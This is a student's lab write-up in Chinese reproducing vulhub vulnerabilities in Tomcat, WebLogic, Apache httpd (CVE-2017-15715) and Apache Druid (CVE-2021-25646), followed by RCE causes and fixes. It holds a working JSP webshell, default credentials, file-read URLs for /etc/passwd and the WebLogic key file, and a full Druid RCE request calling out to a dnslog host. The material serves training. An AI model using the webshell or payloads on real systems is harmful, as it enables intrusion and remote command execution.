实训作业day08

于 2024-09-05 09:44:21 发布
阅读量724 收藏 5
点赞数 8
文章标签： docker
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_68287529/article/details/141920474
版权

实训作业day08

一、在vps安装docker和docker-compose

  • XShell连接aliyun后，输入命令安装docker。

    #sudo apt install docker.io

    在这里插入图片描述

  • 执行更新操作，然后安装docker-compose。命令如下：

    #apt-get update  //更新
#sudo apt install docker-compose  //安装docker-compose

    在这里插入图片描述
    在这里插入图片描述

  • 查询docker和docker-compose的版本，确认安装成功。

    #docker --version
#docker-compose --version

    在这里插入图片描述

二、vulhub中的漏洞复现以及漏洞成因

tomcat 弱口令/后台文件上传getshell

  • 修改daemon配置文件/etc/docker/daemon.json来使用aliyun的加速器。

    #sudo mkdir -p /etc/docker //创建/etc/docker目录
#sudo tee /etc/docker/daemon.json <<-'EOF'
{
 "registry-mirrors": ["https://2eiq72ko.mirror.aliyuncs.com"]
}
EOF                              //修改JSON 配置
#sudo systemctl daemon-reload  //重新加载systemd的配置文件
#sudo systemctl restart docker  //重启docker

    在这里插入图片描述

  • 进入tomcat8目录，启动tomcat。

    #docker-compose up -d

    在这里插入图片描述

  • 到云服务器的管理控制台上找到IP为“47.108.222.178”，在浏览器输入“IP:8080”进入tomcat。
    在这里插入图片描述
    在这里插入图片描述

  • 点击“Host Manager”，输入账号和密码（均为tomcat）登录，可看到上传war文件的地方。
    在这里插入图片描述
    在这里插入图片描述

  • 在tomcat8的目录下新建shell.jsp文件，内容如下：

    <%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

    在这里插入图片描述

  • 安装jdk，然后将 shell.jsp 文件打包到jar 文件中。

    #sudo apt update
#sudo apt install default-jdk
#jar -cvf shell.war shell.jsp

    在这里插入图片描述
    在这里插入图片描述

  • 将shell.war放到本机的桌面上（使用的是xftp）。
    在这里插入图片描述

  • 上传该文件后，点击“./shell”，在url栏加上“shell.jsp”，复制后打开中国蚁剑。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 添加数据，连接密码是“passwd”。
    在这里插入图片描述

  • 打开虚拟终端，输入任意命令。
    在这里插入图片描述

weblogic 弱口令/任意文件读取

  • 启动后Apache运行在“http:// http://47.108.250.194:7001/console/login/LoginForm.jsp”，使用默认口令weblogic/Oracle@123登录。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 尝试使用“http://47.108.250.194:7001/hello/file.jsp?path=/etc/passwd”读取敏感文件。
    在这里插入图片描述
    在这里插入图片描述

  • 成功下载file.htm，因此存在任意文件下载。访问“http:// 47.108.250.194:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat”读取密钥文件，同时使用burpsuite抓包。
    在这里插入图片描述
    在这里插入图片描述

  • 发送给重放器，选择乱码部分，右键选择“Copy to file”，选择存储路径和文件名。

  • 将文件名改成“./config/config.xml”，发送后在接收包找到特定标签“manager-password”复制，这是加密后的管理员密码。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 找到weblogic的解密工具的路径，打开cmd输入“java -jar weblogic_decrypt.jar”启动工具。
    在这里插入图片描述

  • 输入密钥文件的路径和加密的密码，解密后是“Oracle@123”。
    在这里插入图片描述

apache 换行解析/druid RCE

CVE-2017-15715（换行解析）

  • 到本项目的路径“vulhub/httpd/CVE-2017-15715”下启动服务。
    在这里插入图片描述

  • 如果不能启动，先关闭服务，在daemon配置文件增加源后重启docker服务再启动。

    	{
	"registry-mirrors": [
	        "https://docker.1panel.live", 
	        "https://hub.rat.dev/", 
	        "https://docker.chenby.cn", 
	        "https://docker.m.daocloud.io",
	        "https://docker.anyhub.us.kg",
	        "https://dockerhub.jobcher.com",
	        "https://dockerhub.icu"
    ]
}

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 打开目标地址 ”http://47.108.250.194:8080/“，打不开使用kali。

  • 查询kail的IP是”192.168.13.128“，启动CVE-2017-15715服务。
    在这里插入图片描述
    在这里插入图片描述

  • 在浏览器打开”http://192.168.13.128:8080/“，上传文件test.php，打开浏览器代理。
    在这里插入图片描述
    在这里插入图片描述

  • 打开burpsuite拦截，点击“提交查询”抓包。
    在这里插入图片描述

  • 在文件名后添加“)”便于在”Hex“界面找到。将”)“对应的位置改为”0a“发送。
    在这里插入图片描述
    在这里插入图片描述

  • 进入容器后发现生成了“test.php?”文件。
    在这里插入图片描述

  • 浏览器打开“http://192.168.13.128:8080/test.php?”。
    在这里插入图片描述

CVE-2021-25646（druid RCE）

  • 搭建druid-0.20.0环境。

    #wget https://github.com/apache/druid/archive/druid-0.20.0.zip
#apt install unzip
#unzip druid-0.20.0.zip
#cd druid-0.20.0/distribution/docker
#docker-compose up -d

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 访问不了，用同学搭的一个环境”http://10.17.179.169:8888/unified-console.html”。
    在这里插入图片描述

  • 依次填入(Base directory)quickstart/tutorial/(File filter)wikiticker-2015-09-12-sampled.json.gz，点击“Apply”、“Next:Parse data”。
    在这里插入图片描述

  • 开启浏览器代理。
    在这里插入图片描述

  • 将抓到的包发送到重放器，修改后点击“Sent”。
    在这里插入图片描述

  • 将包覆盖成下面的内容再发送（修改.exec(‘ping -c 4 xxxx.dnslog.cn’)}）的内容可执行不同命令）：

    POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.191.128:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 998
Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping -c 4 xxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

    在这里插入图片描述

漏洞成因

漏洞漏洞成因
tomcat 弱口令Tomcat有一个管理后台，其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置，不少管理员为了方便，经常采用弱口令。
tomcat后台文件上传getshellTomcat 支持在后台部署war包，可以直接将webshell部署到web目录下，再使用getshell工具可成功连接。
weblogic 弱口令由于管理员的安全意识不强，或者配置时存在疏忽，会导致后台存在弱口令或者默认的用户名/口令。服务器存在任意文件包含、下载等漏洞时，即使后台不存在弱口令，也可以通过破解的方式获取口令。
weblogic任意文件读取doGetJspRefreshRequest()方法中的“adminPath”也是request 中的header参数，在Post包中传入要读取的文件。进入该方法中，直接使用FileInputStream 类进行文件读取，故造成了所谓的“任意文件读取”漏洞。例如;访问”http://ip:7001/hello/file.jsp?path=/etc/passwd”可见成功读取passwd文件。
apache 换行解析程序在解析PHP时，如果文件名最后有一个换行符x0A，apache依然会将其当成php解析，但是在上传文件时可以成功的绕过黑名单。
apache druid RCE在 Druid 0.20.0 及更低版本中，经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求，利用 Apache Druid 漏洞可以执行任意代码。

三、RCE漏洞的原理和利用条件及解决方案

原理

  • RCE(远程命令执行)漏洞，一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口，比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。如果设计者在完成该功能时，没有做严格的安全控制，测可能会导致攻击者通过该接口提交“意想不到"的命令，从而让后台进行执行，从而控制整个后台服务器。

  • 以PHP为例，system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当用户能控制这些函数的参数，并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中，从而造成命令执行攻击。

利用条件

  • 开发人员调用了能够执行系统命令的函数。

  • 传入exec()或者ProcessBuilder(）的参数用户前端可控。

  • 服务端未对传入参数进行检查或过滤不严。

解决方案

  • 实际业务场景中可以使用相关的API代替Runtime和ProcessBuilder执行命令来实现，例如文件的操作可以使用相关的API函数。
  • 对输入数据进行净化和检查，例如将任何引起参数或命令结束的字符进行转义，转义参数中所包含的特殊字符，使其无法对其当前执行进行截断，从而实现防范命令注入攻击的目的。
  • 使用白名单的方式限制对应的参数值，例如只允许输入字符数字，下划线_，或者仅仅只能是邮箱、IP等。
  • 各种框架、插件等位置都有可能出现命令执行，升级到新版本，多打补丁。
  • 少用框架/CMS。
  • 升级中间件。
十三月168
关注
  • 8
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
实训作业day06
weixin_68287529的博客
09-02 948
由于请求是由受害者的浏览器发起的，那么服务器的响应最后还是给到了受害者那里，攻击者是拿不到这部分数据的。csrf利用方式为利用from表单提交参数给被攻击站，参数必存在于from表单中token传递为被攻击站点击站内按钮，激活站内post传递参数，参数中存在token。XSS 的危害更大。攻击者如果成功实现了 XSS 攻击，那通常意味着他可以使用受害者在这个网站的所有功能，而 CSRF 只限于特定的存在漏洞的功能。生成一个随机的csrf_token令牌，当表单提交时，获取到csrf_token 通过。
实训作业day04
weixin_68287529的博客
09-01 948
攻击者构造一个参数包含恶意js代码的URL，诱骗用户点击，用户访问后向服务器发送请求，服务器的响应并不包含恶意代码，而是URL中的代码直接在本地浏览器由js执行。存储型XSS漏洞跟反射型形成的原因一样，不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来，构成更加持久的危害，因此存储型XSS也称“永久型”XSS。将href和scipt嵌入语句，输入”>< a hrhrefef=“javascrcriptipt:alert(‘1’)”>1< /a>，点击产生的超链接“1“弹窗成功。
实训作业day05
weixin_68287529的博客
09-01 824
在url添加“and updatexml(1,(select substr(group_concat(username,0x7e,password)),1,32) from users),1) --+”查找username和password的内容。id=1”)–+”正常说明是字符型注入且闭合方式是**“)**。id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+ ”查看数据库。id=1’ --+”都报错说明是数字型注入。
实训作业day03
weixin_68287529的博客
08-29 626
使用xray被动扫描，在安装目录下的cmd里输入命令“.\xray_windows_amd64.exe webscan --listen 127.0.0.1:8989 --html-output 3.html”，burpsuit可以抓取http流量，生成的3.html记录了扫描结果。打开火狐浏览器，输入网址“http://burp/”下载证书，在设置里导入证书cacert.der，并手动配置代理127.0.0.1和端口8080，此时可以打开pikachu。双击证书，点击“证书安装”，进入证书导入向导。
educoder（头歌）实训平台Java实训作业答案
web15286201346的博客
06-08 6915
第一关 第二关 C C D BC第三关 第四关 ABD A第五关 第六关 CD D第七关 第八关 ADE D第一关 第二关 第三关 BD C第四关 第五关 第六关 CD CD AD第七关 Java语言基础（三）- 运算符和表达式 第一关 第二关 第三关 第四关 第五关 第六关 D B A C C A A第一关 第二关 C C D第三关 第四关 第五关 CD第六关 Java语言基础（五）- 循环结构基础 第一关 第二关 第三关 第四关 B C B第五关 第六关 C第七关 第八关 B第一关 第二关 第三关 第四
南林暑期实训 Linux day10 结课大作业
m0_74313092的博客
07-20 515
使用本地存储库，Yum存储库地址从/run/media/root/RHEL-8-4-0-BaseOS-x86_64/BaseOS和/run/media/root/RHEL-8-4-0-BaseOS-x86_64/AppStream使用。创建新的逻辑卷，逻辑卷取名为qa，卷组为qagroup，逻辑卷大小为2G，使用ext3文件系统格式化的新逻辑卷，逻辑卷应在系统启动时自动挂载/mnt/qa下。②合并成逻辑卷，逻辑卷取名为qa，卷组为qagroup，逻辑卷大小为2G。IP地址： x.x.x.10。
Android实训 DAY1
weixin_62499894的博客
06-12 682
正式学习Android的第一天
python实训目的意义_Python-暑期实训day 1
weixin_39854070的博客
11-26 5029
python基础:一 编程语言什么是编程语言？上面提及的能够被计算机所识别的表达方式即编程语言，语言是沟通的介质，而编程语言是程序员与计算机沟通的介质。在编程的世界里，计算机更像是人的奴隶，人类编程的目的就命令奴隶去工作。什么是编程？编程即程序员根据需求把自己的思想流程按照某种编程语言的语法风格编写下来，产出的结果就是包含一堆字符的文件。强调：程序在未运行前跟普通文件无异，只有程序在运行时，文件内...
小程序实训日志 Day04
不是志锋的博客
06-24 606
日期 2019年6月 20日 第 4 天 共 10天 实习地点 科技楼423 教学大纲中规定的实习教学内容 校内综合实训是系统讲授微信小程序开发技术，通过小程序开发项目实例来训练学生的实践能力，检验学生对微信小程序开发技术所学知识的综合运用能力的重要环节。每位学...
Docker设置socks5代理
kongxx的专栏
08-31 624
添加socks5代理。
Docker续7：docker部署nmt续1：使用haproxy代理nginx
m0_70848838的博客
09-02 1022
root@localhost ~]# docker stop 30 //停止nginx容器30[root@localhost ~]# docker rm 30 //删除nginx容器30。
容器化你的应用：使用 Docker 入门指南
Envyᥫᩣ的博客
09-01 882
Docker 使得开发者能够更加高效地开发、测试和部署应用程序。通过容器化你的应用，你可以获得更好的一致性、隔离性和可移植性。希望这篇指南能帮助你入门 Docker 并开始享受它带来的好处！如果你对Docker有更深入的需求，比如网络配置、持久化存储等高级主题，或者你想要了解其他的技术话题，请随时告知！
Docker Elasticsearch安装ik分词插件教程
最新发布
猿小白的博客
09-04 770
本章教程在通过Docker 安装Elasticsearch，并安装ik分词插件。本文的重点是安装ik分词插件。
docker 镜像导出命令（支持所有镜像导出为独立的包）
Guoiaoang 的记事本
08-31 788
docker 镜像导出命令（支持所有镜像导出为独立的包）
Docker入门学习-01
always_and_forever_的博客
09-03 404
Docker 是一个开源的平台，用于开发、交付和运行应用程序。它使用容器技术，将应用程序及其依赖打包在一个轻量级的可移植容器中。# 使用官方的 Node.js 镜像 FROM node:14 # 创建并设置工作目录 WORKDIR /usr/src/app # 复制项目文件到工作目录 COPY . . # 安装项目依赖 RUN npm install # 暴露端口 EXPOSE 3000 # 启动应用程序 CMD [ "npm" , "start" ]
5 Docker flile
atbigapp的博客
08-31 519
Docker flile编写
课程37：Docker持久化部署（数据库、日志、配置文件）
成长的足迹
09-02 530
Docker持久化部署（数据库、日志、配置文件）就介绍到这边啦！文章会持续更新，大家有想要了解的功能点或者话题，可以在评论区告诉我！
Docker深度探索：精通容器化的未来技术
weixin_67239318的博客
08-31 1071
揭秘Docker：一文掌握容器化技术的精髓！深入探讨Docker的核心特性、先进架构和镜像构建技巧。发现如何加速部署、优化性能，并确保您的应用程序在任何地方都能以一致的方式运行。
头歌java实训作业答案控制语句
05-18
以下是头歌Java实训作业中可能涉及到的控制语句的一些示例： 1. if语句： ``` int x = 10; if (x > 5) { System.out.println("x is greater than 5"); } ``` 2. if-else语句： ``` int x = 10; if (x > 15) { System.out.println("x is greater than 15"); } else { System.out.println("x is less than or equal to 15"); } ``` 3. switch语句： ``` int day = 4; switch (day) { case 1: System.out.println("Monday"); break; case 2: System.out.println("Tuesday"); break; case 3: System.out.println("Wednesday"); break; case 4: System.out.println("Thursday"); break; case 5: System.out.println("Friday"); break; default: System.out.println("Weekend"); } ``` 4. for循环： ``` for (int i = 0; i < 10; i++) { System.out.println(i); } ``` 5. while循环： ``` int i = 0; while (i < 10) { System.out.println(i); i++; } ``` 6. do-while循环： ``` int i = 0; do { System.out.println(i); i++; } while (i < 10); ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值